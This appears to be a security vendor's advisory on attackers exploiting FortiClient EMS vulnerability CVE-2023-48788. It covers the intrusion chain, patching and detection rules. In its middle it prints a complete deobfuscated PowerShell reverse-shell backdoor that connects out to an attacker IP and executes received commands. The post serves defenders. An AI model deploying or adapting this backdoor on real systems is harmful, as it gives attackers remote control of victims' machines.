In late March, Red Canary detected adversaries exploiting a Fortinet FortiClient EMS vulnerability (CVE-2023-48788) in order to install unauthorized RMM tools and PowerShell backdoors on target systems. The exploit activity we observed followed a pattern that started with inbound external network connections to the FCMdaemon process and ended with attempts to download and execute RMM tools or PowerShell-based backdoors.
Adversaries commonly abuse RMM tools because they boast robust feature sets that enable them to remotely execute a wide variety of actions on an endpoint while maintaining a veneer of legitimacy since organizations use them in regular business operations. Organizations should consider developing mitigative or detective controls for this activity given the risks posed by unauthorized RMM tools and backdoors.
Updating vulnerable Forticlient EMS installations is the most expedient way to remediate risk of exploitation. However, for organizations that are unable to immediately patch CVE-2023-48788, the post exploitation activity we’ve observed is detectable via process lineage, network connections, and the presence of unauthorized RMM tools, all of which we’ll describe in the coming paragraphs.
What is CVE-2023-48788?
CVE-2023-48788 is a vulnerability in the Fortinet FortiClient EMS application that allows unauthenticated users the ability to execute SYSTEM-level code and commands via specially crafted messages, as detailed by Horizon3.ai. FortiClient EMS is a security management solution for administering systems running the FortiClient VPN.
Understanding the intrusion chain and Red Canary’s observations
Red Canary observed each intrusion beginning with an external IP address making a connection to the FCMdaemon process, part of the FortiClient EMS application, which listens on port 8013 for incoming requests. On an unpatched FortiClient EMS application, this process can receive specially crafted messages that allow adversaries to perform SQL injection. Adversaries can also enable xp_cmdshell
via SQL statements and execute arbitrary commands using cmd.exe
. Upon exploitation and remote code execution, the sqlservr.exe
process running from the \MSSQL14.FCEMS\
directory spawns a cmd.exe
instance. This allows adversaries to execute commands or run other binaries with SYSTEM-level permissions.
Executive Summary: 2024 Threat Detection Report
Learn moreWe’ve observed adversaries exploiting this CVE as an initial access vector to leverage PowerShell’s Invoke-WebRequest
cmdlet to download a Windows Installer file (.msi
) from known malicious IP addresses (as shown in the above image). The .msi
files varied by intrusion, but were typically either the RMM tools Atera or ScreenConnect, both of which could offer an adversary remote access to and control over affected devices. After downloading, the adversaries attempted to use msiexec.exe
to launch the respective RMM tool.
We’ve also observed adversaries fail to successfully install the RMM tool and then unsuccessfully attempt to deploy a PowerShell backdoor using Metasploit’s powerfun.ps1. The command was heavily obfuscated, but we’ve included a redacted, deobfuscated copy of the command below:
function Get-Webclient
{
$wc = New-Object -TypeName Net.WebClient
$wc.UseDefaultCredentials = $true
$wc.Proxy.Credentials = $wc.Credentials
$wc
}
function powerfun
{
Param(
[String]$Command,
[String]$Sslcon,
[String]$Download
)
Process {
$modules = @()
if ($Command -eq "bind")
{
$listener = [System.Net.Sockets.TcpListener]443
$listener.start()
$client = $listener.AcceptTcpClient()
}
if ($Command -eq "reverse")
{
$client = New-Object System.Net.Sockets.TCPClient("XXX.XX.XX.XX",443)
}
$stream = $client.GetStream()
if ($Sslcon -eq "true")
{
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient("185.56.83.82",$null,"tls12",$false)
$stream = $sslStream
}
[byte[]]$bytes = 0..20000|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
if ($Download -eq "true")
{
$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
ForEach ($module in $modules)
{
(Get-Webclient).DownloadString($module)|Invoke-Expression
}
}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
}
powerfun -Command reverse
In the intrusions we’ve observed, adversaries took between 36 seconds and 47 minutes to move from initial access to attempting to install an RMM tool or backdoor.
How to patch CVE-2023-48788
Fortinet released a virtual patch named “FG-VD-54509.0day:FortiClientEMS.DAS.SQL.Injection.” This patch closes the initial access vector used by the adversaries to gain access to their target environments. We recommend patching your Fortinet FortiClient EMS installations immediately. Affected versions include FortiClient EMS 7.0.1 through 7.0.10 and 7.2.0 through 7.2.2.
Detecting post-exploitation activity
If you are unable to patch your FortiClient EMS application or are otherwise interested in developing detective controls for the behaviors described above, the following detection opportunities are a great starting point for most organizations.
Inbound network connections to FCMdaemon
One way to detect follow-on activity is to watch for inbound network connections coming from unknown external IP addresses to FCMdaemon.exe
on the EMS client. This process should only have successful connections from known managed endpoints in your environment.
Suspicious PowerShell activity
Another way to potentially detect post-exploitation activity is to look for PowerShell processes spawning via cmd.exe
with sqlservr.exe
as a parent process. These PowerShell processes will likely make outbound network connections to unknown IP addresses or domains to download additional tools. A pseudo detector for this activity might look like the following:
parent_process == (sqlservr.exe
)
&&
process == (cmd.exe
)
&&
child_process == (powershell.exe
)
&&
has_network_connection
Note: This detector may require tuning depending on your environment.
Additionally, the following pseudo detectors from the PowerShell detection section of the 2024 Threat Detection Report may help you detect this and other malicious activity:
- PowerShell Base64 encoding
- Obfuscation and escape characters
- Suspicious PowerShell cmdlets
Abusing PowerShell’s Invoke-WebRequest
cmdlet
You may also be able to detect the way adversaries are leveraging the Invoke-WebRequest
cmdlet to download .msi files from external network addresses with the following pseudo detector:
process == (‘powershell.exe’)
&&
command_includes ( ‘Invoke-WebRequest’ || ‘iwr’) && (‘https’ || http’) && (‘.msi’)
&&
has_netconn
Unauthorized RMM tools
Application controls like allowlisting and blocklisting are the best way to ensure that adversaries aren’t able to use unauthorized RMM tools in your environment. Surveyor is a free tool that security teams can use with a supported endpoint detection and response platform to search their environment for the presence of unauthorized RMM and other tools. Surveyor is capable of searching your environment for both Atera and ScreenConnect.
You can find more detailed detection guidance in:
- The detection section of the RMM trends page of the 2024 Threat Detection Report
- Our blog on detecting unauthorized RMM tools